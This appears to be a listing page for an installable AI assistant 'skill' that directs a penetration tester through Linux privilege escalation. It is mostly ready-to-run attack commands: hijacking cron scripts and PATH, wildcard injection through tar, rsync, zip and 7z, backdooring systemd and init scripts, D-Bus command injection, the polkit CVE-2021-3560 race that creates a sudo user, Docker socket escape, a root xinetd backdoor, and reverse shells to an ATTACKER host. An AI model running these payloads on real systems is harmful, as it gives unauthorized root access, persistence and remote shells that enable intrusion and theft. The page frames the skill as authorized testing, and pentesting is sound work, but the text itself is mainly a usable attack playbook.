ワンクリックで
linux-cron-service-abuse
Exploit cron jobs, systemd timers/services, D-Bus services, and Unix sockets for privilege escalation.
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
メニュー
Exploit cron jobs, systemd timers/services, D-Bus services, and Unix sockets for privilege escalation.
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
| name | linux-cron-service-abuse |
| description | Exploit cron jobs, systemd timers/services, D-Bus services, and Unix sockets for privilege escalation. |
| keywords | ["cron privesc","wildcard injection","systemd abuse","dbus exploit","pspy found root process","writable cron script","polkit bypass","pwnkit"] |
| tools | ["pspy","busctl","gdbus","dbus-send","systemctl","crontab"] |
| opsec | medium |
You are helping a penetration tester exploit scheduled tasks, services, and inter-process communication mechanisms for privilege escalation. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[linux-cron-service-abuse] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
If not already provided by linux-discovery, enumerate:
# Cron jobs
crontab -l 2>/dev/null
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ 2>/dev/null
cat /etc/cron.d/* 2>/dev/null
# Systemd timers and services
systemctl list-timers --all --no-pager 2>/dev/null
systemctl list-units --type=service --state=running --no-pager 2>/dev/null
# Process monitoring (leave running)
./pspy64 -pf -i 1000
Classify findings and proceed to the relevant section below.
If a root cron job executes a script you can modify:
# Verify write access
ls -la /path/to/cron_script.sh
# Option 1: SUID bash (persistent)
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chown root:root /tmp/rootbash
chmod 4755 /tmp/rootbash' > /path/to/cron_script.sh
chmod +x /path/to/cron_script.sh
# Wait for cron execution, then:
/tmp/rootbash -p
# Option 2: Reverse shell (immediate access)
echo '#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /path/to/cron_script.sh
chmod +x /path/to/cron_script.sh
# Start listener: nc -lvnp PORT
# Option 3: Append to existing script (stealthier)
echo '' >> /path/to/cron_script.sh
echo 'cp /bin/bash /tmp/.rootbash && chmod 4755 /tmp/.rootbash' >> /path/to/cron_script.sh
If a cron job calls a binary without a full path:
# Example crontab entry:
# * * * * * root backup_script
# Check cron PATH (first line of /etc/crontab)
head -5 /etc/crontab
# Default: PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Find a writable directory that appears before the real binary in PATH
echo $PATH | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "WRITABLE: $d"; done
# Create hijack binary in writable PATH directory
cat > /writable/path/backup_script << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash
# Run original to avoid breaking things
/usr/bin/backup_script "$@"
EOF
chmod +x /writable/path/backup_script
If you can write to cron directories:
# Direct injection to /etc/cron.d/ (if writable)
cat > /etc/cron.d/exploit << 'EOF'
* * * * * root /bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash'
EOF
# Or via crontab command (user crontab)
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") | crontab -
Important: Cron files in /etc/cron.d/ must have correct permissions (644, owned
by root) or they may be ignored. User crontabs via crontab -e don't have this
restriction.
When a root-owned cron job or script uses wildcards (*) in commands, you can inject
arguments via specially-named files.
Target pattern: tar czf backup.tar.gz * or tar czf backup.tar.gz /path/*
# Navigate to the directory where tar runs with wildcards
cd /path/to/target_directory
# Create payload script
cat > shell.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x shell.sh
# Create checkpoint injection files
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# When root's cron runs: tar czf backup.tar.gz *
# The * expands to include --checkpoint=1 and --checkpoint-action=exec=sh shell.sh
# tar executes shell.sh as root
Wait for execution, then: /tmp/rootbash -p
Target pattern: chown -R user:group * or chmod -R 755 *
cd /path/to/target_directory
# Create reference file that points to a file with desired ownership
touch -- '--reference=/etc/passwd'
# When root runs: chown nobody:nobody *
# The --reference flag overrides and sets ownership to match /etc/passwd (root:root)
Target pattern: rsync -az * backup:/dest/
cd /path/to/target_directory
touch -- '-e sh shell.sh'
# When rsync processes *, the -e flag specifies a shell command
Target pattern: 7za a backup.7z *
cd /path/to/target_directory
ln -s /etc/shadow shadow.txt
touch @shadow.txt
# 7z interprets @file as "read filenames from file"
# Contents of /etc/shadow printed to stderr
Target pattern: zip out.zip *
cd /path/to/target_directory
touch -- '-T'
touch -- '-TT sh shell.sh'
# zip -T runs a test, -TT specifies the test command
# Find writable unit files
find /etc/systemd/system /usr/lib/systemd/system /lib/systemd/system -writable -type f 2>/dev/null
# Check specific service file permissions
ls -la /etc/systemd/system/<service>.service
Modify ExecStart to inject payload:
# Backup original (for cleanup)
cp /etc/systemd/system/target.service /tmp/target.service.bak
# Option 1: Replace ExecStart
sed -i 's|ExecStart=.*|ExecStart=/bin/bash -c "cp /bin/bash /tmp/rootbash \&\& chmod 4755 /tmp/rootbash"|' /etc/systemd/system/target.service
# Option 2: Add ExecStartPre for stealth (runs before main service)
sed -i '/\[Service\]/a ExecStartPre=/bin/bash -c "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash"' /etc/systemd/system/target.service
# Reload and trigger
systemctl daemon-reload
systemctl restart target.service # If you have permission to restart
# Otherwise wait for next boot or timer trigger
# If a timer file is writable, modify to trigger frequently
cat > /etc/systemd/system/exploit.timer << 'EOF'
[Unit]
Description=Exploit Timer
[Timer]
OnCalendar=*:*:00
Unit=exploit.service
[Install]
WantedBy=timers.target
EOF
cat > /etc/systemd/system/exploit.service << 'EOF'
[Unit]
Description=Exploit Service
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash'
EOF
systemctl daemon-reload
systemctl enable --now exploit.timer
# Check systemd environment PATH
systemctl show-environment | grep PATH
# If a service uses a relative binary path in ExecStart:
# ExecStart=myservice --flag
# And you can write to a directory in the systemd PATH before the real location:
echo '#!/bin/bash' > /writable/path/myservice
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> /writable/path/myservice
echo '/usr/bin/myservice "$@"' >> /writable/path/myservice
chmod +x /writable/path/myservice
# If the binary specified in ExecStart is writable
ls -la /path/to/service_binary
# Replace with payload (backup first)
cp /path/to/service_binary /tmp/service_binary.bak
cat > /path/to/service_binary << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash
/tmp/service_binary.bak "$@" # Run original
EOF
chmod +x /path/to/service_binary
# List system bus services
busctl list 2>/dev/null
# Get service details (PID, UID — look for root-owned)
busctl status <service.name> 2>/dev/null
# List objects and interfaces
busctl tree <service.name> 2>/dev/null
# Introspect methods (find callable functions)
busctl introspect <service.name> /object/path 2>/dev/null
# Monitor D-Bus traffic
dbus-monitor --system 2>/dev/null &
Look for:
busctl status)# Check D-Bus policies for permissive rules
grep -rn 'allow' /etc/dbus-1/system.d/ /usr/share/dbus-1/system.d/ 2>/dev/null | grep -E 'send_destination|own'
If a root-owned D-Bus service passes user input to system(), popen(), or similar:
# Using dbus-send
dbus-send --system --print-reply --dest=<service.name> /object/path \
<interface.name>.<MethodName> string:';cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash #'
# Using gdbus
gdbus call -y -d <service.name> -o /object/path \
-m <interface.name>.<MethodName> ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'
# Using busctl
busctl call <service.name> /object/path <interface.name> <MethodName> s \
';cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash #'
Python D-Bus exploitation:
import dbus
bus = dbus.SystemBus()
obj = bus.get_object('<service.name>', '/object/path')
iface = dbus.Interface(obj, dbus_interface='<interface.name>')
# Command injection via string parameter
payload = ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'
iface.MethodName(payload)
Affected: PolicyKit pkexec < 0.120 (virtually all Linux distributions before Jan 2022 patches).
# Check version
pkexec --version
# Multiple public exploits:
# https://github.com/ly4k/PwnKit
# https://github.com/arthepsy/CVE-2021-4034
# Quick check (Python PoC)
python3 -c '
import ctypes, os, struct, sys
libc = ctypes.CDLL("libc.so.6")
libc.execve.argtypes = [ctypes.c_char_p, ctypes.POINTER(ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p)]
# Exploit uses empty argv to trigger out-of-bounds write
# See public PoCs for full implementation
'
Compiled exploits are more reliable — transfer a pre-compiled PwnKit binary.
Affected: Polkit 0.113 - 0.118 (Ubuntu 20.04, RHEL 8, Fedora 21+).
# Trigger: send D-Bus request and kill it at the right moment
# The timing window causes polkit to authorize the request
# Create user with sudo privileges
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
--print-reply /org/freedesktop/Accounts \
org.freedesktop.Accounts.CreateUser string:hacker string:"Hacker" int32:1 &
# Kill after ~10-20ms
sleep 0.01 && kill $!
# Set password for new user
HASHED=$(openssl passwd -6 password123)
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
--print-reply /org/freedesktop/Accounts/User1001 \
org.freedesktop.Accounts.User.SetPassword string:"$HASHED" string:"" &
sleep 0.01 && kill $!
# Login as new user
su - hacker # password: password123
sudo bash
Note: Timing-dependent — may need multiple attempts. Loop until it works:
for i in $(seq 1 100); do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
--print-reply /org/freedesktop/Accounts \
org.freedesktop.Accounts.CreateUser string:hacker string:"" int32:1 &
sleep 0.008
kill $! 2>/dev/null
done
| CVE | Component | Impact | Exploitation |
|---|---|---|---|
| CVE-2024-45752 | logiops <=0.3.4 | Macro injection via LoadConfig | gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/evil.yml" |
| CVE-2025-23222 | Deepin dde-api-proxy <=1.0.18 | All D-Bus calls treated as UID 0 | Any method call via proxy runs as root |
| CVE-2025-3931 | yggdrasil <=0.4.6 | Arbitrary RPM install via Dispatch | dbus-send to com.redhat.yggdrasil Dispatch method |
# List Unix sockets
ss -lx 2>/dev/null || netstat -a -p --unix 2>/dev/null
find / -type s 2>/dev/null
# Check permissions (writable = exploitable)
find / -type s -writable 2>/dev/null
# Identify socket owners (root-owned = high value)
ls -la /var/run/*.sock /tmp/*.sock /tmp/*.s 2>/dev/null
Before injecting, determine the socket's protocol. Root-owned sockets may use custom protocols (length-prefixed JSON, line-delimited text, HTTP, protobuf):
# Probe with empty/minimal data — observe error messages for protocol clues
echo "" | socat - UNIX-CLIENT:/path/to/socket
echo "{}" | socat - UNIX-CLIENT:/path/to/socket
echo "help" | socat - UNIX-CLIENT:/path/to/socket
# For length-prefixed protocols, craft a proper header:
# Example: 4-byte big-endian length + JSON payload
python3 -c "
import struct, json, socket, sys
msg = json.dumps({'op':'status'}).encode()
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/path/to/socket')
s.send(struct.pack('>I', len(msg)) + msg)
print(s.recv(4096).decode())
"
If the service evaluates code (PHP, Lua, Python) from socket messages — e.g., a rule engine or sandbox — check whether the sandbox's config files (php.ini, policy files) are writable from your current user. Overwriting sandbox restrictions then re-triggering code evaluation can escalate to unrestricted execution as the socket owner.
If a root-owned socket accepts commands without authentication:
# Test with socat
echo "id" | socat - UNIX-CLIENT:/path/to/socket
# Inject payload
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash; chmod +x /tmp/rootbash;" | \
socat - UNIX-CLIENT:/path/to/socket
# Using nc (if Unix socket support available)
echo ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #' | nc -U /path/to/socket
# Using curl (for HTTP-based sockets)
curl --unix-socket /path/to/socket http://localhost/api/exec -d '{"cmd":"id"}'
If /var/run/docker.sock is writable (docker group membership):
# Verify access
docker ps 2>/dev/null
# Mount host filesystem
docker run -v /:/host -it alpine chroot /host bash
# If docker CLI not available, use curl
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
curl -s --unix-socket /var/run/docker.sock -X POST \
"http://localhost/containers/create" \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}'
Note: Docker socket exploitation is also covered in linux-file-path-abuse with additional group-based escalation paths.
# Find writable init scripts
find /etc/init.d -writable -type f 2>/dev/null
ls -la /etc/rc.local 2>/dev/null
# Inject into writable init script
echo '' >> /etc/init.d/writable_service
echo '/bin/bash -c "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash"' >> /etc/init.d/writable_service
# Inject into rc.local (if writable, runs at boot)
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> /etc/rc.local
chmod +x /etc/rc.local
# If /etc/xinetd.d/ is writable
cat > /etc/xinetd.d/backdoor << 'EOF'
service backdoor
{
port = 9999
socket_type = stream
protocol = tcp
wait = no
user = root
server = /bin/bash
server_args = -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"
disable = no
}
EOF
# Add to /etc/services if needed
echo "backdoor 9999/tcp" >> /etc/services
# Restart xinetd
systemctl restart xinetd 2>/dev/null || service xinetd restart 2>/dev/null
# Schedule command (if at is available and allowed)
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' | at now + 1 minute
# Check at restrictions
cat /etc/at.allow 2>/dev/null
cat /etc/at.deny 2>/dev/null
# List pending at jobs
atq 2>/dev/null
# Check anacron config
cat /etc/anacrontab 2>/dev/null
# If anacron runs writable scripts in /etc/cron.daily/ etc.
# Same exploitation as writable cron scripts (Step 2)
Check cron daemon is running: systemctl status cron 2>/dev/null || systemctl status crond.
Verify cron file permissions (644 for /etc/cron.d/ files). Check cron logs:
grep CRON /var/log/syslog or journalctl -u cron. Use pspy to monitor.
File names must be exact (including dashes): touch -- '--checkpoint=1'. The --
tells touch to stop processing options. Verify with ls -la that filenames start
with --. Also verify the cron command actually uses * glob expansion (not a
quoted path).
PolicyKit is blocking. Check polkit rules in /usr/share/polkit-1/rules.d/ and
/etc/polkit-1/rules.d/. Consider CVE-2021-3560 timing attack if polkit version
is vulnerable. Some services have custom auth — check the service's D-Bus policy
file in /etc/dbus-1/system.d/.
If you cannot systemctl daemon-reload, modifications to service files won't take
effect until the next reboot or until a root process reloads systemd. Timer and
service modifications that don't require reload: modifying the script/binary that
ExecStart points to (not the unit file itself).
Check socket type (SOCK_STREAM vs SOCK_DGRAM) and use the correct tool.
For datagram sockets: socat - UNIX-SENDTO:/path/to/socket. Verify the socket
is actively listening: ss -lx | grep socket_name.
Multi-phase penetration test orchestrator. Handles recon, assessment surface mapping, vulnerability chaining, and routes to technique skills for execution. Invoke via /red-run-ctf slash command only.
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate theft (DPAPI/CAPI/CNG), and account persistence via certificate mapping.
Forces remote systems to authenticate back to attacker-controlled listeners and relays captured authentication to escalate privileges or move laterally. Covers authentication coercion (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, CheeseOunce), NTLM relay (ntlmrelayx to LDAP/SMB/AD CS/MSSQL), Kerberos relay (krbrelayx, mitm6), and name resolution poisoning (LLMNR/NBNS/WPAD via Responder).
Extracts and cracks Kerberos service tickets (Kerberoasting) and AS-REP hashes (AS-REP Roasting) for offline password recovery.
Enumerates and exploits Microsoft SCCM/MECM (System Center Configuration Manager / Microsoft Endpoint Configuration Manager) infrastructure for credential harvesting, lateral movement, and domain escalation. Covers SCCM enumeration (sccmhunter, SharpSCCM), Network Access Account (NAA) credential extraction (policy request, WMI DPAPI, WMI repository), management point NTLM relay to MSSQL (TAKEOVER1), client push relay (ELEVATE2), PXE boot media credential harvesting (CRED1), SCCM database credential extraction, application deployment for lateral movement, and SCCM share looting.